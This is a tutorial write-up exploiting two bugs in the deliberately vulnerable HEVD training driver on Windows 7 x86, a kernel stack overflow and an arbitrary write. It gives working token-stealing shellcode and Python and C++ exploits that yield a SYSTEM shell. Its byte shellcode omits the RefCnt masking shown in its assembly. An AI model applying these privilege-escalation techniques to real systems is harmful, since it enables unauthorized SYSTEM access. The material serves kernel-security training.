Target: HackSys Extreme Vulnerable Driver (HEVD), Windows 7 x86 Environment: WinDbg kernel debugging (bcdedit /debug on, serial connection)
Overview
HEVD (HackSys Extreme Vulnerable Driver) is a vulnerable Windows kernel driver designed to expose various vulnerability classes through its IOCTL handlers. This post covers two vulnerabilities:
- Stack buffer overflow (
IOCTL 0x222003) — a user-controlled size passed toRtlCopyMemorywithout bounds checking - Arbitrary write (Write-What-Where) (
IOCTL 0x22200B) — an arbitrary write via an unvalidated kernel-mode pointer write
Both vulnerabilities lead to SYSTEM privilege escalation from a normal user process.
Driver Fundamentals
What Is a Driver, and What Kinds Exist
A driver acts as an intermediary layer between applications, the OS, and hardware devices.



WDM Drivers and the Device Stack


Privileged Callback Functions

Environment Setup and Commands

IOCTL and Driver Communication Basics
To make requests to the HEVD driver, a handle must first be opened for communication. The driver creates a device named HackSysExtremeVulnerableDriver, and on success the device is assigned an IRP handler for IOCTLs.
RtlInitUnicodeString(&DeviceName, L"\\Device\\HackSysExtremeVulnerableDriver");
RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\HackSysExtremeVulnerableDriver");
Status = IoCreateDevice(DriverObject, 0, &DeviceName,
FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN,
FALSE, &DeviceObject);An IOCTL is a 32-bit number encapsulated in an IRP request. It's defined using the CTL_CODE macro:
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)Computing the IOCTL code:
FILE_DEVICE_UNKNOWN = 0x00000022
FILE_ANY_ACCESS = 0x00000000
FUNCTION = 0x800
METHOD_NEITHER = 3
calc = hex((FILE_DEVICE_UNKNOWN << 16) | (FILE_ANY_ACCESS << 14) | (FUNCTION << 2) | METHOD_NEITHER)
print(calc) # 0x222003Vulnerability 1: Stack Buffer Overflow
Vulnerable Code
__declspec(safebuffers)
NTSTATUS TriggerBufferOverflowStack(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = { 0 }; // BUFFER_SIZE = 0x200 (512 bytes)
PAGED_CODE();
__try {
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
// Verifies that the UserMode buffer is in the user portion of the actual address space and is aligned
#ifndef SECURE
// Vulnerability: the user-supplied Size is passed directly, with no bounds check
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#else
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
}
return Status;
}ProbeForRead only verifies that UserBuffer lies in user-mode address space; it does not validate Size. Passing Size > sizeof(KernelBuffer) causes a kernel stack overflow.
This driver's buffer is 512 x ULONG(4) = 2048 (0x800) bytes. Since TriggerBufferOverflowStack takes the buffer and length and copies them as-is with RtlCopyMemory, the BOF occurs here.
Triggering the Bug and Finding the Offset
First, trigger it with a 2048-byte buffer:
import ctypes, sys
from ctypes import *
kernel32 = windll.kernel32
dev = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not dev or dev == -1:
print "*** Couldn't get Device Driver handle."
sys.exit(0)
buf = "A" * 2048
bufLength = len(buf)
kernel32.DeviceIoControl(dev, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None)Since this is still within the buffer size, nothing happens.

Increasing the buffer size to 0x900 corrupts EBP and EIP and causes a blue screen.


Now we need to find the offset that overwrites EIP. Tools like pwntools' cyclic or mona's pattern_create work well for this.

Windows 7 x86 Structure Offsets
| Structure | Field | Offset |
|---|---|---|
_KPCR.PcrbData.CurrentThread |
FS:[0x124] |
— |
_KTHREAD.ApcState.Process |
+0x50 |
— |
_EPROCESS.UniqueProcessId |
+0xB4 |
— |
_EPROCESS.ActiveProcessLinks.Flink |
+0xB8 |
— |
_EPROCESS.Token |
+0xF8 |
— |
Confirming the offsets with WinDbg:
kd> dt nt!_KPCR
+0x120 PrcbData : _KPRCB
kd> dt nt!_KPRCB
+0x004 CurrentThread : Ptr32 _KTHREAD
So the CurrentThread value is at 0x120 + 0x004 = 0x124.
kd> dt nt!_EPROCESS
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0f8 Token : _EX_FAST_REF
How Token-Stealing Shellcode Works
Every process running on the system has an associated EPROCESS structure that encapsulates its data. On Windows x86, the FS register points to the KPCR (Kernel Processor Control Region) structure.
Pointer chain: FS:[0x124] -> _KTHREAD -> ApcState.Process -> _EPROCESS
LIST_ENTRY is a doubly linked list connecting every running process, and Flink points to the next process's LIST_ENTRY. The basic technique is to walk this list to find the SYSTEM process (PID 4) and copy its Token into the current process's _EPROCESS.
Token is stored in an _EX_FAST_REF union, which has two fields: RefCnt (a reference counter) and Value. For stability, masking is needed to preserve RefCnt:
? [token] & 0xFFFFFFF8 ; strip the low 3 bits (RefCnt)
Token-Stealing Shellcode (x86)
pushad
xor eax, eax
mov eax, fs:[eax + 0x124] ; KPCR -> CurrentThread (_KTHREAD)
mov eax, [eax + 0x50] ; _KTHREAD -> ApcState.Process (_EPROCESS)
mov ecx, eax ; save the current process's EPROCESS
mov edx, 0x4 ; SYSTEM PID
search_system_process:
mov eax, [eax + 0xb8] ; ActiveProcessLinks.Flink
sub eax, 0xb8 ; back up to the start of the next EPROCESS
cmp [eax + 0xb4], edx ; UniqueProcessId == 4?
jnz search_system_process
mov edx, [eax + 0xf8] ; SYSTEM process's Token
and edx, 0xFFFFFFF8 ; strip RefCnt bits
mov edi, [ecx + 0xf8] ; current process's Token
and edi, 0x7 ; preserve RefCnt
add edx, edi
mov [ecx + 0xf8], edx ; overwrite the current process's Token
popad
xor eax, eax ; STATUS_SUCCESS
pop ebp
ret 8Exploit Code (Python 2 / ctypes)
Since NX (DEP) is enabled, we bypass it by allocating an executable (RWX) memory block with VirtualAlloc() and copying the shellcode into it.
import ctypes, sys, struct
from ctypes import *
from subprocess import *
def main():
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000, 0, None, 0x3, 0, None
)
if not hevDevice or hevDevice == -1:
print "[-] Failed to get device handle"
sys.exit(0)
shellcode = bytearray(
"\x60" # pushad
"\x31\xc0" # xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" # mov eax, [fs:eax+0x124]
"\x8b\x40\x50" # mov eax, [eax+0x50]
"\x89\xc1" # mov ecx, eax
"\xba\x04\x00\x00\x00" # mov edx, 0x4
"\x8b\x80\xb8\x00\x00\x00" # mov eax, [eax+0xb8]
"\x2d\xb8\x00\x00\x00" # sub eax, 0xb8
"\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4], edx
"\x75\xed" # jnz -19
"\x8b\x90\xf8\x00\x00\x00" # mov edx, [eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8], edx
"\x61" # popad
"\x31\xc0" # xor eax, eax
"\x5d" # pop ebp
"\xc2\x08\x00" # ret 0x8
)
ptr = kernel32.VirtualAlloc(
c_int(0), c_int(len(shellcode)),
c_int(0x3000), c_int(0x40) # MEM_COMMIT|RESERVE, PAGE_EXECUTE_READWRITE
)
buff = (c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode)))
shellcode_ptr = struct.pack("<L", ptr)
# Stack layout: 0x820 bytes of padding + EBP (4) + EIP (shellcode pointer)
buf = "A" * 0x820 + "\x44\x44\x44\x44" + shellcode_ptr
kernel32.DeviceIoControl(
hevDevice, 0x222003,
buf, len(buf),
None, 0, byref(c_ulong()), None
)
Popen("start cmd", shell=True)
if __name__ == "__main__":
main()


Vulnerability 2: Arbitrary Write (Write-What-Where)
Vulnerable Code
NTSTATUS TriggerArbitraryWrite(
_In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
PULONG_PTR What = NULL;
PULONG_PTR Where = NULL;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
__try {
ProbeForRead((PVOID)UserWriteWhatWhere,
sizeof(WRITE_WHAT_WHERE),
(ULONG)__alignof(UCHAR));
What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;
// Vulnerability: writes the value pointed to by 'What' to the memory
// location pointed to by 'Where', without properly validating that
// either 'Where' or 'What' points into user mode.
*(Where) = *(What);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
}
return Status;
}This is a write-what-where primitive: both the source (What) and destination (Where) pointers are attacker-controlled in kernel space. In other words, an attacker can write an arbitrary value to an arbitrary location in kernel address space.




Computing the IOCTL Code
FILE_DEVICE_UNKNOWN = 0x00000022
FILE_ANY_ACCESS = 0x00000000
FUNCTION = 0x802 # arbitrary write function index
METHOD_NEITHER = 3
ioctl = (FILE_DEVICE_UNKNOWN << 16) | (FILE_ANY_ACCESS << 14) | (FUNCTION << 2) | METHOD_NEITHER
print(hex(ioctl)) # 0x22200bExploitation Strategy: Overwriting HalDispatchTable
A good overwrite target is nt!HalDispatchTable, one of the kernel's dispatch tables. This table is an array of function pointers holding the addresses of HAL routines.
nt!HalDispatchTable+0x4 holds a pointer to hal!HaliQuerySystemInformation. This function is called internally by NtQueryIntervalProfile (an undocumented NT system call that can be invoked from user mode without elevated privileges).
kd> dps nt!KeServiceDescriptorTable L4
82babb00 82aa1cbc nt!KiServiceTable
82babb04 00000000
82babb08 00000191
82babb0c 82aa2304 nt!KiArgumentTable
kd> u nt!KeQueryIntervalProfile+0x23
82d0f599 call dword ptr [nt!HalDispatchTable+0x4 (82b6f34c)]
Attack flow:
- Leak the kernel VA of
nt!HalDispatchTableviaNtQuerySystemInformation(SystemModuleInformation)combined with a user-modeLoadLibraryoffset calculation - Use the Write-What-Where primitive to overwrite
HalDispatchTable+0x4with the shellcode address - Call
NtQueryIntervalProfileto trigger the overwritten function pointer
Leaking the Kernel Base and Obtaining the HalDispatchTable Address
// Get the kernel module list via NtQuerySystemInformation class 11
NTSTATUS callResult = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)11, &bufferPtr, 0, &SystemInformationLength);
// Re-query with the proper size
callResult = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)11, moduleInfoBuf,
moduleInfoBufSize, &SystemInformationLength);
LPVOID kernelBase = moduleInfoBuf->Module[0].Base;
PCHAR kernelImage = moduleInfoBuf->Module[0].ImagePath + pathLength;
// Load the kernel image in user mode to calculate symbol offsets
HMODULE umHandle = LoadLibraryA(kernelImage);
LPVOID umHDT = GetProcAddress(umHandle, "HalDispatchTable");
LPVOID kmHDT = (PUCHAR)umHDT - (PUCHAR)umHandle + (PUCHAR)kernelBase;To bypass ASLR, since we have the base address of the loaded module, we can calculate the kernel's actual HalDispatchTable address using the kernel image handle loaded in userland.

Testing the Vulnerability (What=AAAA, Where=BBBB)
PULONG lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x8);
RtlFillMemory((PVOID)lpInBuffer, 0x4, 0x41); // What
RtlFillMemory((PVOID)(lpInBuffer + 1), 0x4, 0x42); // Where
DeviceIoControl(hDev, HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
(LPVOID)lpInBuffer, (DWORD)0x8, NULL, 0, &lpBytesReturned, NULL);Result: an access violation occurs when attempting to write to address 0x42424242, confirming that both What and Where are controllable.

Full Exploit (C++)
LPVOID whereAddress = (LPVOID)((ULONG)HALDispatchTable + 0x4);
// Token-stealing shellcode (same as above, ends with just ret)
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcodeAddress, shellcode, sizeof(shellcode));
LPVOID sourceAddress = &shellcodeAddress;
// WRITE_WHAT_WHERE: [What(4)] + [Where(4)]
byte theArray[8];
memcpy(theArray, &sourceAddress, 4); // What = &shellcodeAddress
memcpy(theArray + 4, &whereAddress, 4); // Where = HalDispatchTable+0x4
DeviceIoControl(deviceHandle, 0x22200B, theArray, sizeof(theArray),
NULL, 0, &bytesReturned, NULL);
// Trigger: NtQueryIntervalProfile internally calls HalDispatchTable[1]
// which now points to our shellcode
NtQueryIntervalProfile(0xB00D, &bytesReturned);
// Spawn a SYSTEM shell
CreateProcessA("C:\\Windows\\System32\\cmd.exe", ...);Key Takeaways
| Vulnerability | Root Cause | Fix |
|---|---|---|
| Stack BOF | RtlCopyMemory using a user-supplied Size |
Use sizeof(KernelBuffer) as the copy bound |
| Arbitrary write | *(Where) = *(What) with no pointer validation |
ProbeForWrite(Where) — the kernel must never write to an address supplied from user mode without validation |
Both vulnerabilities share the same mitigation theme: never trust kernel-mode pointer operations that use user-supplied values without thorough validation.